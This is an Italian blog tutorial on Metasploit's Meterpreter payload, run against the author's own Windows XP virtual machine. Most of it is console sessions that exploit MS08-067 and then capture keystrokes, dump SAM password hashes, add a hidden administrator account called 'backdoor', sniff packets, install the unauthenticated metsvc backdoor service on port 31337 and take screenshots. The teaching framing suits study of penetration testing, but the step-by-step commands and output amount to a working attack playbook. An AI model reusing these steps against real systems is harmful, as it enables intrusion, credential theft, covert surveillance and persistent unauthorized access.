Il modulo Meterpreter di Metasploit
by admin on Dec.16, 2009, under Hacking, Linux, Sicurezza, Tools
Secondo la attuale tendenza, la maggior parte degli exploits pubblicati comprende un payload che esegue un interprete di comandi. L’input diretto verso e l’ output proveniente da tale interprete di comandi vengono tipicamente rediretti verso una connessione TCP proattivamente o passivamente stabilita dall’attaccante.
Esistono alcuni specifici svantaggi impliciti nell’utilizzo di un interprete di comandi nativo, come ad esempio /bin/sh o cmd.exe.
Uno di tali svantaggi consiste nel fatto che l’ esecuzione dell’interprete di comandi tipicamente inplica la creazione di un nuovo processo nella task list, rendendo in tal modo l’attaccante visibile per tutta la durata della connessione.
Anche se il payload non crea un nuovo processo, il preesistente task verrà sostituito da quello appena mandato in esecuzione.
In generale, la esecuzione dell’interprete dei comandi nativo è una azione destinata ad essere prontamente rilevata e prevenuta da un buon numero di Intrusion Prevention Systems (IPS), sia per piattaforme Windows che derivate da UNIX.
Indipendentemente dalla facilità con cui si può essere rilevati, è usuale per i daemons l’esecuzione in ciò cui ci riferisce abitualmente come “chrooted environment”. Tale termine descrive l’atto di modificare la root directory logica per una applicazione, compiuto invocando chroot sulle piattaforme derivate da UNIX.
Quando una applicazione viene eseguita in un ambiente “chrooted” è sottinteso che risulti impossibile per tale applicazione referenziare files e directories presenti in livelli superiori a quello della pseudo-root directory.
Dato che l’interprete dei comandi risiede di solito
in una directory esterna alla visuale della applicazione “chrooted”, la sua esecuzione diviene impossibile.
Infine, l’interprete dei comandi, anche se presente, si limita al set di comandi cui può accedere, sia interni che esterni.
Il set di comandi esterni, che può anche essere vuoto, determina problemi con l’ automazione e quindi con la flessibilità di utilizzo, per non parlare di problemi inerenti alla specifica piattaforma o interprete dei comandi.
Quelli appena menzionati sono i principali aspetti negativi causati dall’uso di un interprete di comandi nativo che hanno indotto alla implementazione del modulo del Metasploit Framework conosciuto come Meterpreter.
Meterpreter, nome sintetico per Meta-Interpreter, è un payload avanzato incluso nel Metasploit Framework.
Meterpreter è in grado di affrontare e superare le tre problematiche viste prima, grazie al modo in cui è implementato.
Innanzitutto, meterpreter è capace di evitare la creazione di un nuovo processo dato che viene eseguito nel contesto del processo che è stato oggetto dell’ exploit.
Inoltre, le estensioni di meterpreter, e lo stesso server meterpreter, vengono tutti eseguiti interamente dalla memoria usando la tecnica descritta in
Remote Library Injection[1]. Il fatto che meterpreter sia eseguito nel contesto del processo oggetto dell’ exploit gli consente anche di evitare i problemi con chroot per il fatto di non dover creare alcun nuovo processo.
Oltre a superare i tre problemi presi in esame, meterpreter fornisce inoltre un set predefinito di comandi in grado di sfruttare alcune delle possibilità del sistema delle estensioni. Per esempio, una delle estensioni embedded, Fs, consente di caricare e scaricare files sulla e dalla macchina remota. Un’ altra estensione, Net, consente la creazione dinamica di port forwards, tramite la connessione stabilita da meterpreter, ad un host residente nella rete del server. Questo permette di raggiungere hosts non direttamente raggiungibili dal client.
La feature di port forwarding poggia su di un sistema di canale generico che consente il tunneling arbitrario di dati tra il client ed il server.
Infine, il contenuto dei pacchetti di meterpreter può venire criptato con un cifrario custom. Il cifrario di default è xor che, sebbene non certo sicuro, è tuttavia capace di fare un buon lavoro quando si tratta di offuscare la comunicazione, consentendo di eludere gli IDS.
Ad alto livello, meterpreter appare simile ad un tipico interprete di comandi.
Possiede infatti una riga di comando ed un set di comandi che può eseguire. La differenza più appariscente sta nel fatto che il client meterpreter può controllare il set dei comandi tramite l’ iniezione di nuove estensioni “on the fly”.
Riassumendo sinteticamente, Meterpreter è un modulo di Metasploit specializzato nella fase di post-penetration. Viene iniettato direttamente dall’exploit nel sistema remoto e mette a disposizione dell’ attaccante un ambiente in cui effettuare qualsiasi operazione sul sistema target.
Prima della comparsa di Meterpreter questa fase era assai più complessa, dato che prevedeva la necessità di caricare, in qualche modo, tools aggiuntivi sul server. Con Meterpreter non serve altro. Eventuali nuovi moduli possono essere caricati con un semplice comando.
Meterpreter è stato pienamente integrato nel Metasploit Framework dalla versione 2.3 e consente l’ accesso tramite un certo numero di differenti payloads.
Meterpreter può venire utilizzato pressoché con tutti gli exploit relativi a Windows inclusi in Metasploit selezionando uno dei seguenti payloads:
1. win32 bind meterpreter
Questo payload si associa ad una porta sul sistema target ed attende una connessione.
Dopo che la connessione è stata stabilita viene caricato il server meterpreter e la connessione esistente viene usata per il canale di comunicazione di meterpreter.
2. win32 reverse meterpreter
Questo payload si riconnette all’host attaccate su una data porta. La connessione viene quindi usata per caricare il server meterpreter, dopodiché viene usata per il canale di comunicazione per meterpreter.
3. win32 findrecv ord meterpreter
Questo payload cerca il file descriptor da cui l’ exploit ha avuto origine e lo utilizza per caricare il server meterpreter, dopodiché la connessione viene usata per il canale di comunicazione per meterpreter. Questo payload è particolarmente interessante dato che non richiede che una nuova connessione venga aperta, di conseguenza bypassando i firewall.
A seconda dell’ exploit, ciascuno di questi payloads può venire utilizzato. il payload più indicato è interamente dipendente sia dal particolare exploit che dalle condizioni nell’ambito delle quali l’exploit viene attuato, tipo le restrizioni imposte dal firewall.
Quando si sia deciso ul tipo di payload, il passo successivo da compiere è l’avvio della interfaccia client di Metasploit.
Ecco un esempio pratico dell’utilizzo di Meterpreter contro la stessa macchina virtuale basata su sun VirtualBox utilizzata nel post precedente.
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.253
RHOST => 192.168.1.253
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.253 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LPORT 4444 yes The local port
RHOST 192.168.1.253 no The target address
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(ms08_067_netapi) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Targeting
1 Windows 2000 Universal
[...]
23 Windows XP SP2 Italian (NX)
[...]
57 Windows XP SP3 Turkish (NX)
msf exploit(ms08_067_netapi) > set TARGET 23
TARGET => 23
msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Triggering the vulnerability…
[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.1.10:32902 -> 192.168.1.253:4444)
meterpreter > sysinfo
Computer: GHOSTNET-XP
OS : Windows XP (Build 2600, Service Pack 2).
Arch : x86
Language: it_IT
meterpreter > ps
Process list
============
PID Name Path
--- ---- ----
268 alg.exe C:WINDOWSSystem32alg.exe
356 smss.exe SystemRootSystem32smss.exe
384 wscntfy.exe C:WINDOWSsystem32wscntfy.exe
504 csrss.exe ??C:WINDOWSsystem32csrss.exe
528 winlogon.exe ??C:WINDOWSsystem32winlogon.exe
560 WG111v2.exe C:ProgrammiNETGEARWG111v2WG111v2.exe
644 services.exe C:WINDOWSsystem32services.exe
656 lsass.exe C:WINDOWSsystem32lsass.exe
852 svchost.exe C:WINDOWSsystem32svchost.exe
920 svchost.exe C:WINDOWSsystem32svchost.exe
1036 svchost.exe C:WINDOWSSystem32svchost.exe
1084 svchost.exe C:WINDOWSsystem32svchost.exe
1140 svchost.exe C:WINDOWSsystem32svchost.exe
1376 spoolsv.exe C:WINDOWSsystem32spoolsv.exe
1488 netdde.exe C:WINDOWSsystem32netdde.exe
1532 msdtc.exe C:WINDOWSsystem32msdtc.exe
1600 dllhost.exe C:WINDOWSsystem32dllhost.exe
1628 logon.scr C:WINDOWSSystem32logon.scr
1800 locator.exe C:WINDOWSsystem32locator.exe
1936 Explorer.EXE C:WINDOWSExplorer.EXE
1948 ctfmon.exe C:WINDOWSsystem32ctfmon.exe
meterpreter >
Con ciò, la connessione a meterpreter è stata stabilita ed è disponibile all’uso.
Un atto abituale quando si esplora un nuovo ambiente è quello di impartire il comando “help” e sperare che offra una idea di quali siano le features disponibili.
meterpreter > help
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
channel Displays information about active channels
close Closes a channel
exit Terminate the meterpreter session
help Help menu
interact Interacts with a channel
irb Drop into irb scripting mode
migrate Migrate the server to another process
quit Terminate the meterpreter session
read Reads data from a channel
run Executes a meterpreter script
use Load a one or more meterpreter extensions
write Writes data to a channel
Stdapi: File system Commands
============================
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
del Delete the specified file
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lpwd Print local working directory
ls List files
mkdir Make directory
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
upload Upload a file or directory
Stdapi: Networking Commands
===========================
Command Description
------- -----------
ipconfig Display interfaces
portfwd Forward a local port to a remote service
route View and modify the routing table
Stdapi: System Commands
=======================
Command Description
------- -----------
clearev Clear the event log
execute Execute a command
getpid Get the current process identifier
getuid Get the user that the server is running as
kill Terminate a process
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
shutdown Shuts down the remote computer
sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands
===============================
Command Description
------- -----------
enumdesktops List all accessible desktops and window stations
idletime Returns the number of seconds the remote user has been idle
keyscan_dump Dump they keystroke buffer
keyscan_start Start capturing keystrokes
keyscan_stop Stop capturing keystrokes
setdesktop Move to a different workstation and desktop
uictl Control some of the user interface components
Priv: Password database Commands
================================
Command Description
------- -----------
hashdump Dumps the contents of the SAM database
Priv: Timestomp Commands
========================
Command Description
------- -----------
timestomp Manipulate file MACE attributes
meterpreter >
In Meterpreter esiste un certo numero di estensioni in grado di fornire altri comandi potenzialmente utili.
L’intero sistema delle estensioni è facilmente modificabile e customizzabile.
Le seguenti extensions ora sono embedded come api standard :
1. Fs
Fornisce una interazione col filesystem della macchina remota.
2. Net
Fornisce una interazione con lo stack di rete della macchina remota.
3. Process
Fornisce una interazione con i processi della macchina remota.
4. Sys
Fornisce una interazione con l’ environment della macchina remota.
meterpreter > use -l
espia
espia.x64
incognito
incognito.x64
priv
priv.x64
sniffer
stdapi
stdapi.x64
Fondamentale, a questo punto del discorso, è il comando “use”.
Tale comando consente di caricare dinamicalmente “on the fly” estensioni a meterpreter. Tali estensioni vengono automaticamente caricate sulla macchina target e caricate in memoria.
Ad esempio:
meterpreter > use sniffer
Loading extension -m...
Loading extension sniffer...success.
Una volta che il modulo sia stato caricato l’output del comando help si arricchisce di nuovi contenuti:
meterpreter > help
[...]
Sniffer Commands
================
Command Description
------- -----------
sniffer_dump Retrieve captured packet data to PCAP file
sniffer_interfaces Enumerate all sniffable network interfaces
sniffer_start Start packet capture on a specific interface
sniffer_stats View statistics of an active capture
sniffer_stop Stop packet capture on a specific interface
Il comando execute è peraltro uno dei più interessanti, dato che consente l’esecuzione di un comando, come ad esempio un reale interprete di comandi.
L’ input e l’ output del processo possono essere canalizzati verso un channel che può venire letto, su cui si può scrivere, e col quale interagire.
Mentre l’ esecuzione di un processo espone l’ attaccante (l’esempio seguente provoca l’apparizione di una finestra vuota sul video della macchina target), cionondimeno costituisce una feature molto potente.
L’ output sottostante illustra l’esecuzione di un interprete di comandi e la successiva interazione con esso:
meterpreter > execute -f cmd -c
Process 1228 created.
Channel 1 created.
meterpreter > interact 1
Interacting with channel 1...
Microsoft Windows XP [Versione 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:Documents and Settingsghostuser>>netstat -n
netstat -n
Connessioni attive
Proto Indirizzo locale Indirizzo esterno Stato
TCP 127.0.0.1:1038 127.0.0.1:1039 ESTABLISHED
TCP 127.0.0.1:1039 127.0.0.1:1038 ESTABLISHED
TCP 127.0.0.1:1040 127.0.0.1:1041 ESTABLISHED
TCP 127.0.0.1:1041 127.0.0.1:1040 ESTABLISHED
TCP 192.168.1.253:4444 192.168.1.10:32902 ESTABLISHED
C:Documents and Settingsghostuser>^C
Terminate channel 1? [y/N] y
meterpreter >
Cattura delle sequenze di tasti battuti
Il comando keyscan_start da origne ad un nuovo thread nel processo nel quale Meterpreter è stato iniettato. Tale thread alloca un ampio buffer di 1Mb per immagazzinare le sequenze catturate. Ogni 30 minuti, tale thread chiama GetAsyncKeyState, che ritorna lo stato up/down di ciascuno dei 256 possibile Codici tasto virtuali. Se un cambio nello stato del tasto viene rilevato ed il nuovo stato corrisponde a down, il tasto, assieme ai flags corrispondenti a Shift, Control, ed Alt (se coinvolti) sono memorizzati nel buffer come valori a 16-bit. Se il buffer viene esaurito, partendo dall’inizio sovrascerive il vecchio contenuto.
Una limitazione della funzione GetAsyncKeyState è che deve avere accesso all’ input desktop attivo per monitorare lo stato dei tasti. Ciò presenta un problema quando il processo target è in esecuzione come servizio.
Fortunatamente, Meterpreter supporta il comando “migrate”, che consente di spostare il nostro codice in esecuzione in un processo che abbia accesso interattivo al desktop. Nell’esempio seguente, viene utilizzato l’exploit ms08_067_netapi per ottenere una shell Meterpreter su un sistema Windows XP SP2, quindi migrare il payload in esecuzione nel processo Explorer.exe posseduto dall’utente attivo. Ciò ci consente l’utilizzo dei comandi keyscan_start e keyscan_dump per registrare le sequenze di tasti premuti dall’utente.
# msfconsole
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.253
RHOST => 192.168.1.253
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST 192.168.1.10
LHOST => 192.168.1.10
msf exploit(ms08_067_netapi) > set TARGET 3
TARGET => 3
msf exploit(ms08_067_netapi) > exploit
[*] Triggering the vulnerability…
[*] Sending stage (2650 bytes)
[*] Uploading DLL (75787 bytes)…
[*] Upload completed.
[*] Meterpreter session 1 opened
meterpreter > ps
Process list
============
PID Name Path
--- ---- ----
1800 locator.exe C:WINDOWSsystem32locator.exe
1936 Explorer.EXE C:WINDOWSExplorer.EXE
[ ... ]
meterpreter > migrate 1936
[*] Migrating to 1936…
[*] Migration completed successfully.
meterpreter > getpid
Current pid: 1936
meterpreter > keyscan_start
Starting the keystroke sniffer…
meterpreter > keyscan_dump
Dumping captured keystrokes…
Esattamente quanto digitato al prompt di una finestra di comando sulla macchina target per impostare il gateway di default.
Anche quanto digitato nel pannello di controllo per definire nuovi utenti e nuove password è andato perduto:
meterpreter > keyscan_dump
Dumping captured keystrokes...
ghostadminghostpass
meterpreter >
E’ stata semplicemente catturata l’impostazione di due nuovi utenti, ghostuser e ghostadmin, entrambi con password “ghostpass” e domanda segreta relativa a “cane”.
Ecco alcuni altri esempi di quanto sia potente il modulo Meterpreter:
Recupero del SAM database
Qui lo si può usa per prelevare il SAM database, ovvero il file dove vengono memorizzate le password cifrate in Windows.
Per inciso, una volta sottratte, sarebbe possibile craccarle con comodo e tornare nel sistema come un qualsiasi utente autorizzato.
Per recuperare il SAM database della macchina target si utilizza il comando hashdump di Meterpreter.
L’operazione è semplicissima: una volta effettuata l’intrusione è necessario attivare il modulo priv (”use priv”) e quindi invocare il comando “hashdump”.
meterpreter > use priv
[-] The ‘priv’ extension has already been loaded.
meterpreter > hashdump
Administrator:500:519704781bc60a1eaad3b435b51404ee:839d125b1f62aa9045fa5232ab57354f:::
ghostadmin:1005:3f341e300429050526f8092a33daaf05:e56e77c9bfed591d9b2e5a340ac447b2:::
ghostuser:1004:3f341e300429050526f8092a33daaf05:e56e77c9bfed591d9b2e5a340ac447b2:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[...]
meterpreter >
Aggiunta di un account nel sistema target
Qui invece viene utilizzato per aggiungere un utente nel sistema vittima e aggregarlo al gruppo di amministratori.
meterpreter > execute -H -i -f cmd.exe
Process 1624 created.
Channel 1 created.
Microsoft Windows XP [Versione 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:WINDOWSsystem32>hostname
hostname
ghostnet-xp
C:WINDOWSsystem32>net user backdoor secret /add
net user backdoor secret /add
Esecuzione comando riuscita.
C:WINDOWSsystem32>net localgroup administrators backdoor /add
net localgroup administrators backdoor /add
Esecuzione comando riuscita.
C:WINDOWSsystem32>net user
net user
Account utente per
-------------------------------------------------------------------------------
Administrator backdoor ghostadmin
ghostuser Guest
Comando completato con uno o più errori.
C:WINDOWSsystem32>
meterpreter > shutdown
Shutting down...
meterpreter >
Sniffing dei pacchetti
L’ estensione sniffer può catturare pacchetti provenienti dal sistema target senza scrivere nulla nel file system o installare alcun driver.
Il modulo automaticamente escluda il proprio traffico di controllo dai pacchetti catturati.
Opera correttamente su tutte le piattaforme, ad eccezione di Windows Vista e Windows 7.
Per poter adoperare questo modulo uno deve solamente caricare il modulo mentre si trova in una shell Meterpreter sul target compromesso.
Si può fare nel modo seguente:
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.253
RHOST => 192.168.1.253
msf exploit(ms08_067_netapi) > set target 23
target => 23
msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Triggering the vulnerability…
[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.1.10:58008 -> 192.168.1.253:4444)
meterpreter > use sniffer
Loading extension sniffer...success.
meterpreter > help
[...]
Sniffer Commands
================
Command Description
------- -----------
sniffer_dump Retrieve captured packet data to PCAP file
sniffer_interfaces Enumerate all sniffable network interfaces
sniffer_start Start packet capture on a specific interface
sniffer_stats View statistics of an active capture
sniffer_stop Stop packet capture on a specific interface
meterpreter > sysinfo
Computer: GHOSTNET-XP
OS : Windows XP (Build 2600, Service Pack 2).
Arch : x86
Language: it_IT
meterpreter > getuid
Server username: NT AUTHORITYSYSTEM
Come è evidente, la macchina target è una macchina Windows XP SP2 e si sta operando con i privilegi di amministratore.
We list the interfaces available on this box:
meterpreter > sniffer_interfaces
1 - 'Scheda Ethernet PCI AMD PCNET Family' ( type:4294967295 mtu:0 usable:false dhcp:false wifi:false )
2 - 'Scheda Ethernet PCI AMD PCNET Family' ( type:0 mtu:1514 usable:true dhcp:false wifi:false )
Il comando precedente fornisce utili informazioni, se l’ interfaccia sia usabile per lo sniffing oppure no, se faccia uso del DHCP per ottenere il proprio indirizzo e se si tratti di una interfaccia wireless. Trovata una interfaccia adatta si può utilizzarla per lo sniffing.
Per iniziare occorre fornirle il numero di pacchetti da catturare ed un adeguato buffer; se non ne viene esplicitamente passato, viene assunto un buffer di 200000 pacchetti.
Si può controllare le dimensioni della cattura in corso col relativo numero di pacchetti tramite il comando “sniffer_stats” e il numero della interfaccia interessata:
meterpreter > sniffer_start 2 30000
[*] Capture started on interface 2 (30000 packet buffer)
meterpreter > sniffer_stats 2
[*] Capture statistics for interface 2
packets: 322
bytes: 84249
Per ripulire la cache, e salvare quanto catturato in un file, possiamo eseguire il comando “sniffer_dump” indicando nome e percorso del file in cui salvare i dati:
meterpreter > sniffer_dump 2 /tmp/capture.cap
[*] Flushing packet capture buffer for interface 2…
[*] Flushed 337 packets (91921 bytes)
[*] Downloaded 100% (91921/91921)…
[*] Download completed, converting to PCAP…
[*] PCAP file written to /tmp/capture.cap
I pacchetti sono salvati in formato PCAP ed il buffer sulla macchina target viene pulito.
Si può scaricare il contenuto del buffer successivo ed appenderne il contenuto al file PCAP esistente, volendolo.
Per bloccare la cattura dei pacchetti si da “sniffer_stop” seguito dal numero della interfaccia:
meterpreter > sniffer_stop 2
[*] Capture stopped on interface 2
meterpreter >
I pacchetti catturati potranno essere esaminati con comodo in un secondo momento tramite un qualsiasi tool in grado di leggere files PCAP, tipo Wireshark ad esempio.
Backdoor Service
Quando si abbia ottenuto accesso ad un sistema, è generalmente una buona idea prepararsi una entrata di servizio. In tal modo, se il servizio oggetto di exploit fosse disabilitato o gli fosse stata applicata una patch, sarebbe ancora possibile avere accesso al sistema.
Qui entra in gioco ‘metsvc’, recentemente aggiunto a Metasploit.
Metsvc, in tale esempio, non richiede alcuna autenticazione. Ciò significa che chiunque abbia accesso alla porta, ha anche access alla backdoor! Questo costituisce certamente un fattore di rischio quando si conduca un penetration test. In una situazione reale, occorrerebbe filtrare le connessioni remote alla porta.
Per prima cosa, dopo aver portato a termine l’exploit nei confronti del sistema remoto, viene effettuata la migrazione al processo “Explorer.exe”.
msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Automatically detecting the target…
[*] Fingerprint: Windows XP Service Pack 2 - lang:Italian
[*] Selected Target: Windows XP SP2 Italian (NX)
[*] Triggering the vulnerability…
[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.1.10:47928 -> 192.168.1.253:4444)
meterpreter > migrate 1644
[*] Migrating to 1644…
[*] Migration completed successfully.
meterpreter > run metsvc -h
OPTIONS:
-A Automatically start a matching multi/handler to connect to the service
-h This help menu
-r Uninstall an existing Meterpreter service (files must be deleted manually)
meterpreter > run metsvc
[*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory C:DOCUME~1mimmoIMPOST~1TempLGFkuQFYIY…
[*] >> Uploading metsrv.dll…
[*] >> Uploading metsvc-server.exe…
[*] >> Uploading metsvc.exe…
[*] Starting the service…
* Installing service metsvc
* Starting service
Service metsvc successfully installed.
meterpreter > exit
Possiamo verificare l’apparizione sulla macchina target di un ulteriore servizio:
msf exploit(ms08_067_netapi) > nmap -sS -P0 192.168.1.253
[*] exec: nmap -sS -P0 192.168.1.253
Starting Nmap 5.00 ( http://nmap.org ) at 2009-12-16 15:59 CET
Interesting ports on 192.168.1.253:
Not shown: 996 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
31337/tcp open Elite
MAC Address: 08:00:27:01:2A:E6 (Cadmus Computer Systems)
Interazione con Metsvc
Useremo ora l’exploit multi/handler con un payload tipo “windows/metsvc_bind_tcp” per connetterci al sistema remoto. In questo caso, il codice di Meterpreter si trova già presente sulla macchina remota.
msf exploit(ms08_067_netapi) > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp
PAYLOAD => windows/metsvc_bind_tcp
msf exploit(handler) > set LPORT 31337
LPORT => 31337
msf exploit(handler) > set RHOST 192.168.1.253
RHOST => 192.168.1.253
msf exploit(handler) > exploit
[*] Started bind handler
[*] Starting the payload handler…
[*] Meterpreter session 2 opened (192.168.1.10:35841 -> 192.168.1.253:31337)
Cattura del contenuto dello schermo
Una feature compresa nei più recenti aggiornamenti portati al Metasploit Framework (3.3), è la capacità di catturare il desktop della vittima, salvandolo e visualizzandolo sul sistema locale.
Vediamo come sia semplice.
Asssumeremo per brevità di avere già a disposizione una console meterpreter:
meterpreter > use espia
Loading extension espia...success.
meterpreter > screenshot /tmp/moo.bmp
[*] Image saved to /tmp/moo.bmp
Opening browser to image…
meterpreter >


